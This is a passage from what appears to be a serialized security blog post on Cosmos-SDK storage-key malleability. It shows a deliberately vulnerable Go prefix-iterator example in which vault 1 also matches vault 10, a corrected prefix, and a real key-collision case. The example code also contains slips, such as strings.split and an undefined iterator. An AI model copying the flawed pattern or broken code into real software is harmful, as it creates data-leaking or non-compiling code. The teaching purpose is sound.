original keys.",{"type":23,"tag":24,"props":87767,"children":87768},{},[87769,87771,87777,87779,87784],{"type":28,"value":87770},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":92,"props":87772,"children":87774},{"className":87773},[],[87775],{"type":28,"value":87776},"map[Username]map[PositionName]Position",{"type":28,"value":87778}," associated with a ",{"type":23,"tag":92,"props":87780,"children":87782},{"className":87781},[],[87783],{"type":28,"value":84647},{"type":28,"value":87785}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":87787,"children":87788},{},[87789,87791,87796,87798,87804],{"type":28,"value":87790},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":92,"props":87792,"children":87794},{"className":87793},[],[87795],{"type":28,"value":84718},{"type":28,"value":87797}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":92,"props":87799,"children":87801},{"className":87800},[],[87802],{"type":28,"value":87803},"vaultId",{"type":28,"value":1697},{"type":23,"tag":87,"props":87806,"children":87808},{"code":87807,"language":75676,"meta":7,"className":75677,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[87809],{"type":23,"tag":92,"props":87810,"children":87811},{"__ignoreMap":7},[87812,87828,87843,87892,87944,87973,87985,88031,88038,88084,88139,88146,88210,88271,88294,88313,88320,88327,88387,88446,88469,88488,88495,88502,88555,88603,88610,88617,88657,88686,88693,88700,88712],{"type":23,"tag":134,"props":87813,"children":87814},{"class":136,"line":137},[87815,87819,87824],{"type":23,"tag":134,"props":87816,"children":87817},{"style":151},[87818],{"type":28,"value":75812},{"type":23,"tag":134,"props":87820,"children":87821},{"style":264},[87822],{"type":28,"value":87823}," FetchPositionMapWithVaultId",{"type":23,"tag":134,"props":87825,"children":87826},{"style":179},[87827],{"type":28,"value":642},{"type":23,"tag":134,"props":87829,"children":87830},{"class":136,"line":147},[87831,87835,87839],{"type":23,"tag":134,"props":87832,"children":87833},{"style":162},[87834],{"type":28,"value":84759},{"type":23,"tag":134,"props":87836,"children":87837},{"style":597},[87838],{"type":28,"value":75933},{"type":23,"tag":134,"props":87840,"children":87841},{"style":179},[87842],{"type":28,"value":687},{"type":23,"tag":134,"props":87844,"children":87845},{"class":136,"line":185},[87846,87851,87855,87859,87863,87867,87871,87875,87879,87883,87888],{"type":23,"tag":134,"props":87847,"children":87848},{"style":179},[87849],{"type":28,"value":87850},") ([]",{"type":23,"tag":134,"props":87852,"children":87853},{"style":151},[87854],{"type":28,"value":66611},{"type":23,"tag":134,"props":87856,"children":87857},{"style":179},[87858],{"type":28,"value":924},{"type":23,"tag":134,"props":87860,"children":87861},{"style":597},[87862],{"type":28,"value":84664},{"type":23,"tag":134,"props":87864,"children":87865},{"style":179},[87866],{"type":28,"value":14880},{"type":23,"tag":134,"props":87868,"children":87869},{"style":151},[87870],{"type":28,"value":66611},{"type":23,"tag":134,"props":87872,"children":87873},{"style":179},[87874],{"type":28,"value":924},{"type":23,"tag":134,"props":87876,"children":87877},{"style":597},[87878],{"type":28,"value":84681},{"type":23,"tag":134,"props":87880,"children":87881},{"style":179},[87882],{"type":28,"value":14880},{"type":23,"tag":134,"props":87884,"children":87885},{"style":597},[87886],{"type":28,"value":87887},"Position",{"type":23,"tag":134,"props":87889,"children":87890},{"style":179},[87891],{"type":28,"value":14272},{"type":23,"tag":134,"props":87893,"children":87894},{"class":136,"line":221},[87895,87900,87904,87908,87912,87916,87920,87924,87928,87932,87936,87940],{"type":23,"tag":134,"props":87896,"children":87897},{"style":162},[87898],{"type":28,"value":87899},"    values",{"type":23,"tag":134,"props":87901,"children":87902},{"style":168},[87903],{"type":28,"value":75928},{"type":23,"tag":134,"props":87905,"children":87906},{"style":151},[87907],{"type":28,"value":49174},{"type":23,"tag":134,"props":87909,"children":87910},{"style":179},[87911],{"type":28,"value":924},{"type":23,"tag":134,"props":87913,"children":87914},{"style":597},[87915],{"type":28,"value":84664},{"type":23,"tag":134,"props":87917,"children":87918},{"style":179},[87919],{"type":28,"value":14880},{"type":23,"tag":134,"props":87921,"children":87922},{"style":151},[87923],{"type":28,"value":66611},{"type":23,"tag":134,"props":87925,"children":87926},{"style":179},[87927],{"type":28,"value":924},{"type":23,"tag":134,"props":87929,"children":87930},{"style":597},[87931],{"type":28,"value":84681},{"type":23,"tag":134,"props":87933,"children":87934},{"style":179},[87935],{"type":28,"value":14880},{"type":23,"tag":134,"props":87937,"children":87938},{"style":597},[87939],{"type":28,"value":87887},{"type":23,"tag":134,"props":87941,"children":87942},{"style":179},[87943],{"type":28,"value":77609},{"type":23,"tag":134,"props":87945,"children":87946},{"class":136,"line":332},[87947,87952,87956,87960,87964,87969],{"type":23,"tag":134,"props":87948,"children":87949},{"style":162},[87950],{"type":28,"value":87951},"    i",{"type":23,"tag":134,"props":87953,"children":87954},{"style":168},[87955],{"type":28,"value":75928},{"type":23,"tag":134,"props":87957,"children":87958},{"style":162},[87959],{"type":28,"value":78153},{"type":23,"tag":134,"props":87961,"children":87962},{"style":179},[87963],{"type":28,"value":720},{"type":23,"tag":134,"props":87965,"children":87966},{"style":264},[87967],{"type":28,"value":87968},"KVStorePrefixIterator",{"type":23,"tag":134,"props":87970,"children":87971},{"style":179},[87972],{"type":28,"value":642},{"type":23,"tag":134,"props":87974,"children":87975},{"class":136,"line":438},[87976,87981],{"type":23,"tag":134,"props":87977,"children":87978},{"style":162},[87979],{"type":28,"value":87980},"        kvStore",{"type":23,"tag":134,"props":87982,"children":87983},{"style":179},[87984],{"type":28,"value":687},{"type":23,"tag":134,"props":87986,"children":87987},{"class":136,"line":466},[87988,87993,87997,88001,88005,88010,88014,88019,88023,88027],{"type":23,"tag":134,"props":87989,"children":87990},{"style":162},[87991],{"type":28,"value":87992},"        fmt",{"type":23,"tag":134,"props":87994,"children":87995},{"style":179},[87996],{"type":28,"value":720},{"type":23,"tag":134,"props":87998,"children":87999},{"style":264},[88000],{"type":28,"value":84735},{"type":23,"tag":134,"props":88002,"children":88003},{"style":179},[88004],{"type":28,"value":272},{"type":23,"tag":134,"props":88006,"children":88007},{"style":1461},[88008],{"type":28,"value":88009},"\"%s%d\"",{"type":23,"tag":134,"props":88011,"children":88012},{"style":179},[88013],{"type":28,"value":242},{"type":23,"tag":134,"props":88015,"children":88016},{"style":162},[88017],{"type":28,"value":88018},"PositionMapPrefix",{"type":23,"tag":134,"props":88020,"children":88021},{"style":179},[88022],{"type":28,"value":242},{"type":23,"tag":134,"props":88024,"children":88025},{"style":162},[88026],{"type":28,"value":87803},{"type":23,"tag":134,"props":88028,"children":88029},{"style":179},[88030],{"type":28,"value":329},{"type":23,"tag":134,"props":88032,"children":88033},{"class":136,"line":479},[88034],{"type":23,"tag":134,"props":88035,"children":88036},{"style":179},[88037],{"type":28,"value":23409},{"type":23,"tag":134,"props":88039,"children":88040},{"class":136,"line":497},[88041,88045,88050,88054,88058,88063,88067,88071,88075,88080],{"type":23,"tag":134,"props":88042,"children":88043},{"style":189},[88044],{"type":28,"value":192},{"type":23,"tag":134,"props":88046,"children":88047},{"style":179},[88048],{"type":28,"value":88049}," ; ",{"type":23,"tag":134,"props":88051,"children":88052},{"style":162},[88053],{"type":28,"value":929},{"type":23,"tag":134,"props":88055,"children":88056},{"style":179},[88057],{"type":28,"value":720},{"type":23,"tag":134,"props":88059,"children":88060},{"style":264},[88061],{"type":28,"value":88062},"Valid",{"type":23,"tag":134,"props":88064,"children":88065},{"style":179},[88066],{"type":28,"value":27940},{"type":23,"tag":134,"props":88068,"children":88069},{"style":162},[88070],{"type":28,"value":929},{"type":23,"tag":134,"props":88072,"children":88073},{"style":179},[88074],{"type":28,"value":720},{"type":23,"tag":134,"props":88076,"children":88077},{"style":264},[88078],{"type":28,"value":88079},"Next",{"type":23,"tag":134,"props":88081,"children":88082},{"style":179},[88083],{"type":28,"value":15206},{"type":23,"tag":134,"props":88085,"children":88086},{"class":136,"line":518},[88087,88092,88096,88101,88105,88109,88113,88117,88121,88126,88130,88135],{"type":23,"tag":134,"props":88088,"children":88089},{"style":162},[88090],{"type":28,"value":88091},"        k",{"type":23,"tag":134,"props":88093,"children":88094},{"style":168},[88095],{"type":28,"value":75928},{"type":23,"tag":134,"props":88097,"children":88098},{"style":162},[88099],{"type":28,"value":88100}," strings",{"type":23,"tag":134,"props":88102,"children":88103},{"style":179},[88104],{"type":28,"value":720},{"type":23,"tag":134,"props":88106,"children":88107},{"style":264},[88108],{"type":28,"value":69552},{"type":23,"tag":134,"props":88110,"children":88111},{"style":179},[88112],{"type":28,"value":272},{"type":23,"tag":134,"props":88114,"children":88115},{"style":162},[88116],{"type":28,"value":929},{"type":23,"tag":134,"props":88118,"children":88119},{"style":179},[88120],{"type":28,"value":720},{"type":23,"tag":134,"props":88122,"children":88123},{"style":264},[88124],{"type":28,"value":88125},"Key",{"type":23,"tag":134,"props":88127,"children":88128},{"style":179},[88129],{"type":28,"value":17849},{"type":23,"tag":134,"props":88131,"children":88132},{"style":162},[88133],{"type":28,"value":88134},"Seperator",{"type":23,"tag":134,"props":88136,"children":88137},{"style":179},[88138],{"type":28,"value":329},{"type":23,"tag":134,"props":88140,"children":88141},{"class":136,"line":527},[88142],{"type":23,"tag":134,"props":88143,"children":88144},{"emptyLinePlaceholder":15},[88145],{"type":28,"value":865},{"type":23,"tag":134,"props":88147,"children":88148},{"class":136,"line":780},[88149,88154,88158,88162,88167,88171,88175,88179,88183,88188,88192,88197,88201,88205],{"type":23,"tag":134,"props":88150,"children":88151},{"style":162},[88152],{"type":28,"value":88153},"        username",{"type":23,"tag":134,"props":88155,"children":88156},{"style":168},[88157],{"type":28,"value":75928},{"type":23,"tag":134,"props":88159,"children":88160},{"style":264},[88161],{"type":28,"value":85076},{"type":23,"tag":134,"props":88163,"children":88164},{"style":179},[88165],{"type":28,"value":88166},"([]",{"type":23,"tag":134,"props":88168,"children":88169},{"style":597},[88170],{"type":28,"value":84277},{"type":23,"tag":134,"props":88172,"children":88173},{"style":179},[88174],{"type":28,"value":242},{"type":23,"tag":134,"props":88176,"children":88177},{"style":162},[88178],{"type":28,"value":85149},{"type":23,"tag":134,"props":88180,"children":88181},{"style":179},[88182],{"type":28,"value":720},{"type":23,"tag":134,"props":88184,"children":88185},{"style":264},[88186],{"type":28,"value":88187},"DecodedLen",{"type":23,"tag":134,"props":88189,"children":88190},{"style":179},[88191],{"type":28,"value":272},{"type":23,"tag":134,"props":88193,"children":88194},{"style":162},[88195],{"type":28,"value":88196},"k",{"type":23,"tag":134,"props":88198,"children":88199},{"style":179},[88200],{"type":28,"value":924},{"type":23,"tag":134,"props":88202,"children":88203},{"style":205},[88204],{"type":28,"value":1224},{"type":23,"tag":134,"props":88206,"children":88207},{"style":179},[88208],{"type":28,"value":88209},"]))\n",{"type":23,"tag":134,"props":88211,"children":88212},{"class":136,"line":797},[88213,88217,88221,88225,88229,88234,88238,88243,88247,88251,88255,88259,88263,88267],{"type":23,"tag":134,"props":88214,"children":88215},{"style":162},[88216],{"type":28,"value":27239},{"type":23,"tag":134,"props":88218,"children":88219},{"style":179},[88220],{"type":28,"value":242},{"type":23,"tag":134,"props":88222,"children":88223},{"style":162},[88224],{"type":28,"value":47925},{"type":23,"tag":134,"props":88226,"children":88227},{"style":168},[88228],{"type":28,"value":75928},{"type":23,"tag":134,"props":88230,"children":88231},{"style":162},[88232],{"type":28,"value":88233}," hex",{"type":23,"tag":134,"props":88235,"children":88236},{"style":179},[88237],{"type":28,"value":720},{"type":23,"tag":134,"props":88239,"children":88240},{"style":264},[88241],{"type":28,"value":88242},"Decode",{"type":23,"tag":134,"props":88244,"children":88245},{"style":179},[88246],{"type":28,"value":272},{"type":23,"tag":134,"props":88248,"children":88249},{"style":162},[88250],{"type":28,"value":84983},{"type":23,"tag":134,"props":88252,"children":88253},{"style":179},[88254],{"type":28,"value":242},{"type":23,"tag":134,"props":88256,"children":88257},{"style":162},[88258],{"type":28,"value":88196},{"type":23,"tag":134,"props":88260,"children":88261},{"style":179},[88262],{"type":28,"value":924},{"type":23,"tag":134,"props":88264,"children":88265},{"style":205},[88266],{"type":28,"value":1224},{"type":23,"tag":134,"props":88268,"children":88269},{"style":179},[88270],{"type":28,"value":54947},{"type":23,"tag":134,"props":88272,"children":88273},{"class":136,"line":814},[88274,88278,88282,88286,88290],{"type":23,"tag":134,"props":88275,"children":88276},{"style":189},[88277],{"type":28,"value":444},{"type":23,"tag":134,"props":88279,"children":88280},{"style":162},[88281],{"type":28,"value":48026},{"type":23,"tag":134,"props":88283,"children":88284},{"style":168},[88285],{"type":28,"value":63895},{"type":23,"tag":134,"props":88287,"children":88288},{"style":151},[88289],{"type":28,"value":81430},{"type":23,"tag":134,"props":88291,"children":88292},{"style":179},[88293],{"type":28,"value":463},{"type":23,"tag":134,"props":88295,"children":88296},{"class":136,"line":827},[88297,88301,88305,88309],{"type":23,"tag":134,"props":88298,"children":88299},{"style":189},[88300],{"type":28,"value":78588},{"type":23,"tag":134,"props":88302,"children":88303},{"style":151},[88304],{"type":28,"value":81430},{"type":23,"tag":134,"props":88306,"children":88307},{"style":179},[88308],{"type":28,"value":242},{"type":23,"tag":134,"props":88310,"children":88311},{"style":162},[88312],{"type":28,"value":83151},{"type":23,"tag":134,"props":88314,"children":88315},{"class":136,"line":836},[88316],{"type":23,"tag":134,"props":88317,"children":88318},{"style":179},[88319],{"type":28,"value":524},{"type":23,"tag":134,"props":88321,"children":88322},{"class":136,"line":859},[88323],{"type":23,"tag":134,"props":88324,"children":88325},{"emptyLinePlaceholder":15},[88326],{"type":28,"value":865},{"type":23,"tag":134,"props":88328,"children":88329},{"class":136,"line":868},[88330,88335,88339,88343,88347,88351,88355,88359,88363,88367,88371,88375,88379,88383],{"type":23,"tag":134,"props":88331,"children":88332},{"style":162},[88333],{"type":28,"value":88334},"        positionName",{"type":23,"tag":134,"props":88336,"children":88337},{"style":168},[88338],{"type":28,"value":75928},{"type":23,"tag":134,"props":88340,"children":88341},{"style":264},[88342],{"type":28,"value":85076},{"type":23,"tag":134,"props":88344,"children":88345},{"style":179},[88346],{"type":28,"value":88166},{"type":23,"tag":134,"props":88348,"children":88349},{"style":597},[88350],{"type":28,"value":84277},{"type":23,"tag":134,"props":88352,"children":88353},{"style":179},[88354],{"type":28,"value":242},{"type":23,"tag":134,"props":88356,"children":88357},{"style":162},[88358],{"type":28,"value":85149},{"type":23,"tag":134,"props":88360,"children":88361},{"style":179},[88362],{"type":28,"value":720},{"type":23,"tag":134,"props":88364,"children":88365},{"style":264},[88366],{"type":28,"value":88187},{"type":23,"tag":134,"props":88368,"children":88369},{"style":179},[88370],{"type":28,"value":272},{"type":23,"tag":134,"props":88372,"children":88373},{"style":162},[88374],{"type":28,"value":88196},{"type":23,"tag":134,"props":88376,"children":88377},{"style":179},[88378],{"type":28,"value":924},{"type":23,"tag":134,"props":88380,"children":88381},{"style":205},[88382],{"type":28,"value":1214},{"type":23,"tag":134,"props":88384,"children":88385},{"style":179},[88386],{"type":28,"value":88209},{"type":23,"tag":134,"props":88388,"children":88389},{"class":136,"line":877},[88390,88394,88398,88402,88406,88410,88414,88418,88422,88426,88430,88434,88438,88442],{"type":23,"tag":134,"props":88391,"children":88392},{"style":162},[88393],{"type":28,"value":27239},{"type":23,"tag":134,"props":88395,"children":88396},{"style":179},[88397],{"type":28,"value":242},{"type":23,"tag":134,"props":88399,"children":88400},{"style":162},[88401],{"type":28,"value":47925},{"type":23,"tag":134,"props":88403,"children":88404},{"style":168},[88405],{"type":28,"value":75928},{"type":23,"tag":134,"props":88407,"children":88408},{"style":162},[88409],{"type":28,"value":88233},{"type":23,"tag":134,"props":88411,"children":88412},{"style":179},[88413],{"type":28,"value":720},{"type":23,"tag":134,"props":88415,"children":88416},{"style":264},[88417],{"type":28,"value":88242},{"type":23,"tag":134,"props":88419,"children":88420},{"style":179},[88421],{"type":28,"value":272},{"type":23,"tag":134,"props":88423,"children":88424},{"style":162},[88425],{"type":28,"value":85252},{"type":23,"tag":134,"props":88427,"children":88428},{"style":179},[88429],{"type":28,"value":242},{"type":23,"tag":134,"props":88431,"children":88432},{"style":162},[88433],{"type":28,"value":88196},{"type":23,"tag":134,"props":88435,"children":88436},{"style":179},[88437],{"type":28,"value":924},{"type":23,"tag":134,"props":88439,"children":88440},{"style":205},[88441],{"type":28,"value":1214},{"type":23,"tag":134,"props":88443,"children":88444},{"style":179},[88445],{"type":28,"value":54947},{"type":23,"tag":134,"props":88447,"children":88448},{"class":136,"line":946},[88449,88453,88457,88461,88465],{"type":23,"tag":134,"props":88450,"children":88451},{"style":189},[88452],{"type":28,"value":444},{"type":23,"tag":134,"props":88454,"children":88455},{"style":162},[88456],{"type":28,"value":48026},{"type":23,"tag":134,"props":88458,"children":88459},{"style":168},[88460],{"type":28,"value":63895},{"type":23,"tag":134,"props":88462,"children":88463},{"style":151},[88464],{"type":28,"value":81430},{"type":23,"tag":134,"props":88466,"children":88467},{"style":179},[88468],{"type":28,"value":463},{"type":23,"tag":134,"props":88470,"children":88471},{"class":136,"line":954},[88472,88476,88480,88484],{"type":23,"tag":134,"props":88473,"children":88474},{"style":189},[88475],{"type":28,"value":78588},{"type":23,"tag":134,"props":88477,"children":88478},{"style":151},[88479],{"type":28,"value":81430},{"type":23,"tag":134,"props":88481,"children":88482},{"style":179},[88483],{"type":28,"value":242},{"type":23,"tag":134,"props":88485,"children":88486},{"style":162},[88487],{"type":28,"value":83151},{"type":23,"tag":134,"props":88489,"children":88490},{"class":136,"line":984},[88491],{"type":23,"tag":134,"props":88492,"children":88493},{"style":179},[88494],{"type":28,"value":524},{"type":23,"tag":134,"props":88496,"children":88497},{"class":136,"line":992},[88498],{"type":23,"tag":134,"props":88499,"children":88500},{"emptyLinePlaceholder":15},[88501],{"type":28,"value":865},{"type":23,"tag":134,"props":88503,"children":88504},{"class":136,"line":1024},[88505,88509,88513,88517,88521,88525,88530,88534,88538,88543,88547,88551],{"type":23,"tag":134,"props":88506,"children":88507},{"style":189},[88508],{"type":28,"value":444},{"type":23,"tag":134,"props":88510,"children":88511},{"style":162},[88512],{"type":28,"value":62150},{"type":23,"tag":134,"props":88514,"children":88515},{"style":179},[88516],{"type":28,"value":242},{"type":23,"tag":134,"props":88518,"children":88519},{"style":162},[88520],{"type":28,"value":78279},{"type":23,"tag":134,"props":88522,"children":88523},{"style":168},[88524],{"type":28,"value":75928},{"type":23,"tag":134,"props":88526,"children":88527},{"style":162},[88528],{"type":28,"value":88529}," values",{"type":23,"tag":134,"props":88531,"children":88532},{"style":179},[88533],{"type":28,"value":924},{"type":23,"tag":134,"props":88535,"children":88536},{"style":162},[88537],{"type":28,"value":84983},{"type":23,"tag":134,"props":88539,"children":88540},{"style":179},[88541],{"type":28,"value":88542},"]; ",{"type":23,"tag":134,"props":88544,"children":88545},{"style":168},[88546],{"type":28,"value":20099},{"type":23,"tag":134,"props":88548,"children":88549},{"style":162},[88550],{"type":28,"value":78279},{"type":23,"tag":134,"props":88552,"children":88553},{"style":179},[88554],{"type":28,"value":463},{"type":23,"tag":134,"props":88556,"children":88557},{"class":136,"line":1032},[88558,88563,88567,88571,88575,88579,88583,88587,88591,88595,88599],{"type":23,"tag":134,"props":88559,"children":88560},{"style":162},[88561],{"type":28,"value":88562},"            values",{"type":23,"tag":134,"props":88564,"children":88565},{"style":179},[88566],{"type":28,"value":924},{"type":23,"tag":134,"props":88568,"children":88569},{"style":162},[88570],{"type":28,"value":84983},{"type":23,"tag":134,"props":88572,"children":88573},{"style":179},[88574],{"type":28,"value":8121},{"type":23,"tag":134,"props":88576,"children":88577},{"style":168},[88578],{"type":28,"value":257},{"type":23,"tag":134,"props":88580,"children":88581},{"style":264},[88582],{"type":28,"value":85076},{"type":23,"tag":134,"props":88584,"children":88585},{"style":179},[88586],{"type":28,"value":272},{"type":23,"tag":134,"props":88588,"children":88589},{"style":151},[88590],{"type":28,"value":66611},{"type":23,"tag":134,"props":88592,"children":88593},{"style":179},[88594],{"type":28,"value":924},{"type":23,"tag":134,"props":88596,"children":88597},{"style":597},[88598],{"type":28,"value":84681},{"type":23,"tag":134,"props":88600,"children":88601},{"style":179},[88602],{"type":28,"value":54947},{"type":23,"tag":134,"props":88604,"children":88605},{"class":136,"line":1092},[88606],{"type":23,"tag":134,"props":88607,"children":88608},{"style":179},[88609],{"type":28,"value":524},{"type":23,"tag":134,"props":88611,"children":88612},{"class":136,"line":8508},[88613],{"type":23,"tag":134,"props":88614,"children":88615},{"emptyLinePlaceholder":15},[88616],{"type":28,"value":865},{"type":23,"tag":134,"props":88618,"children":88619},{"class":136,"line":8526},[88620,88625,88629,88633,88637,88641,88645,88649,88653],{"type":23,"tag":134,"props":88621,"children":88622},{"style":162},[88623],{"type":28,"value":88624},"        values",{"type":23,"tag":134,"props":88626,"children":88627},{"style":179},[88628],{"type":28,"value":924},{"type":23,"tag":134,"props":88630,"children":88631},{"style":162},[88632],{"type":28,"value":84983},{"type":23,"tag":134,"props":88634,"children":88635},{"style":179},[88636],{"type":28,"value":48463},{"type":23,"tag":134,"props":88638,"children":88639},{"style":162},[88640],{"type":28,"value":85252},{"type":23,"tag":134,"props":88642,"children":88643},{"style":179},[88644],{"type":28,"value":8121},{"type":23,"tag":134,"props":88646,"children":88647},{"style":168},[88648],{"type":28,"value":257},{"type":23,"tag":134,"props":88650,"children":88651},{"style":162},[88652],{"type":28,"value":6883},{"type":23,"tag":134,"props":88654,"children":88655},{"style":179},[88656],{"type":28,"value":463},{"type":23,"tag":134,"props":88658,"children":88659},{"class":136,"line":8571},[88660,88664,88668,88673,88677,88682],{"type":23,"tag":134,"props":88661,"children":88662},{"style":162},[88663],{"type":28,"value":26442},{"type":23,"tag":134,"props":88665,"children":88666},{"style":179},[88667],{"type":28,"value":14800},{"type":23,"tag":134,"props":88669,"children":88670},{"style":162},[88671],{"type":28,"value":88672},"iterator",{"type":23,"tag":134,"props":88674,"children":88675},{"style":179},[88676],{"type":28,"value":720},{"type":23,"tag":134,"props":88678,"children":88679},{"style":264},[88680],{"type":28,"value":88681},"Value",{"type":23,"tag":134,"props":88683,"children":88684},{"style":179},[88685],{"type":28,"value":670},{"type":23,"tag":134,"props":88687,"children":88688},{"class":136,"line":8677},[88689],{"type":23,"tag":134,"props":88690,"children":88691},{"style":179},[88692],{"type":28,"value":524},{"type":23,"tag":134,"props":88694,"children":88695},{"class":136,"line":22988},[88696],{"type":23,"tag":134,"props":88697,"children":88698},{"style":179},[88699],{"type":28,"value":533},{"type":23,"tag":134,"props":88701,"children":88702},{"class":136,"line":23023},[88703,88707],{"type":23,"tag":134,"props":88704,"children":88705},{"style":189},[88706],{"type":28,"value":16461},{"type":23,"tag":134,"props":88708,"children":88709},{"style":162},[88710],{"type":28,"value":88711}," values\n",{"type":23,"tag":134,"props":88713,"children":88714},{"class":136,"line":23031},[88715],{"type":23,"tag":134,"props":88716,"children":88717},{"style":179},[88718],{"type":28,"value":1098},{"type":23,"tag":24,"props":88720,"children":88721},{},[88722,88724,88730,88731,88737,88739,88744,88746,88751,88753,88758,88760,88766,88768,88774],{"type":28,"value":88723},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":92,"props":88725,"children":88727},{"className":88726},[],[88728],{"type":28,"value":88729},"vaultId = 1",{"type":28,"value":10458},{"type":23,"tag":92,"props":88732,"children":88734},{"className":88733},[],[88735],{"type":28,"value":88736},"vaultId = 10",{"type":28,"value":88738}," coexist. If we try to fetch data under ",{"type":23,"tag":92,"props":88740,"children":88742},{"className":88741},[],[88743],{"type":28,"value":88729},{"type":28,"value":88745},", all entries under ",{"type":23,"tag":92,"props":88747,"children":88749},{"className":88748},[],[88750],{"type":28,"value":88736},{"type":28,"value":88752}," will also be returned simply because ",{"type":23,"tag":92,"props":88754,"children":88756},{"className":88755},[],[88757],{"type":28,"value":1214},{"type":28,"value":88759}," is a prefix of ",{"type":23,"tag":92,"props":88761,"children":88763},{"className":88762},[],[88764],{"type":28,"value":88765},"10",{"type":28,"value":88767},". To fix this, we must once again append the ",{"type":23,"tag":92,"props":88769,"children":88771},{"className":88770},[],[88772],{"type":28,"value":88773},"Separator",{"type":28,"value":88775}," to the iterator prefix.",{"type":23,"tag":87,"props":88777,"children":88779},{"code":88778,"language":75676,"meta":7,"className":75677,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[88780],{"type":23,"tag":92,"props":88781,"children":88782},{"__ignoreMap":7},[88783,88810,88822,88875],{"type":23,"tag":134,"props":88784,"children":88785},{"class":136,"line":137},[88786,88790,88794,88798,88802,88806],{"type":23,"tag":134,"props":88787,"children":88788},{"style":162},[88789],{"type":28,"value":929},{"type":23,"tag":134,"props":88791,"children":88792},{"style":168},[88793],{"type":28,"value":75928},{"type":23,"tag":134,"props":88795,"children":88796},{"style":162},[88797],{"type":28,"value":78153},{"type":23,"tag":134,"props":88799,"children":88800},{"style":179},[88801],{"type":28,"value":720},{"type":23,"tag":134,"props":88803,"children":88804},{"style":264},[88805],{"type":28,"value":87968},{"type":23,"tag":134,"props":88807,"children":88808},{"style":179},[88809],{"type":28,"value":642},{"type":23,"tag":134,"props":88811,"children":88812},{"class":136,"line":147},[88813,88818],{"type":23,"tag":134,"props":88814,"children":88815},{"style":162},[88816],{"type":28,"value":88817},"    kvStore",{"type":23,"tag":134,"props":88819,"children":88820},{"style":179},[88821],{"type":28,"value":687},{"type":23,"tag":134,"props":88823,"children":88824},{"class":136,"line":185},[88825,88830,88834,88838,88842,88847,88851,88855,88859,88863,88867,88871],{"type":23,"tag":134,"props":88826,"children":88827},{"style":162},[88828],{"type":28,"value":88829},"    fmt",{"type":23,"tag":134,"props":88831,"children":88832},{"style":179},[88833],{"type":28,"value":720},{"type":23,"tag":134,"props":88835,"children":88836},{"style":264},[88837],{"type":28,"value":84735},{"type":23,"tag":134,"props":88839,"children":88840},{"style":179},[88841],{"type":28,"value":272},{"type":23,"tag":134,"props":88843,"children":88844},{"style":1461},[88845],{"type":28,"value":88846},"\"%s%d%s\"",{"type":23,"tag":134,"props":88848,"children":88849},{"style":179},[88850],{"type":28,"value":242},{"type":23,"tag":134,"props":88852,"children":88853},{"style":162},[88854],{"type":28,"value":88018},{"type":23,"tag":134,"props":88856,"children":88857},{"style":179},[88858],{"type":28,"value":242},{"type":23,"tag":134,"props":88860,"children":88861},{"style":162},[88862],{"type":28,"value":87803},{"type":23,"tag":134,"props":88864,"children":88865},{"style":179},[88866],{"type":28,"value":242},{"type":23,"tag":134,"props":88868,"children":88869},{"style":162},[88870],{"type":28,"value":88134},{"type":23,"tag":134,"props":88872,"children":88873},{"style":179},[88874],{"type":28,"value":6194},{"type":23,"tag":134,"props":88876,"children":88877},{"class":136,"line":221},[88878],{"type":23,"tag":134,"props":88879,"children":88880},{"style":179},[88881],{"type":28,"value":329},{"type":23,"tag":24,"props":88883,"children":88884},{},[88885,88887,88892],{"type":28,"value":88886},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":92,"props":88888,"children":88890},{"className":88889},[],[88891],{"type":28,"value":84489},{"type":28,"value":88893}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":88895,"children":88896},{},[88897],{"type":28,"value":88898},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":9072,"props":88900,"children":88902},{"id":88901},"real-world-examples-5",[88903],{"type":28,"value":76201},{"type":23,"tag":24,"props":88905,"children":88906},{},[88907,88908,88913,88915,88922,88924,88930],{"type":28,"value":16084},{"type":23,"tag":92,"props":88909,"children":88911},{"className":88910},[],[88912],{"type":28,"value":77974},{"type":28,"value":88914}," previously lacked protection against KVStore ",{"type":23,"tag":31,"props":88916,"children":88919},{"href":88917,"rel":88918},"https://github.com/cosmos/cosmos-sdk/pull/9363",[35],[88920],{"type":28,"value":88921},"key collisions",{"type":28,"value":88923},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":92,"props":88925,"children":88927},{"className":88926},[],[88928],{"type":28,"value":88929},"KVStores",{"type":28,"value":88931}," that were not independent of each other.",{"type":23,"tag":24,"props":88933,"children":88934},{},[88935],{"type":23,"tag":31,"props":88936,"children":88939},{"href":88937,"rel":88938},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[35],[88940],{"type":28,"value":76251},{"type":23,"tag":87,"props":88942,"children":88944},{"code":88943,"language":75676,"meta":7,"className":75677,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return 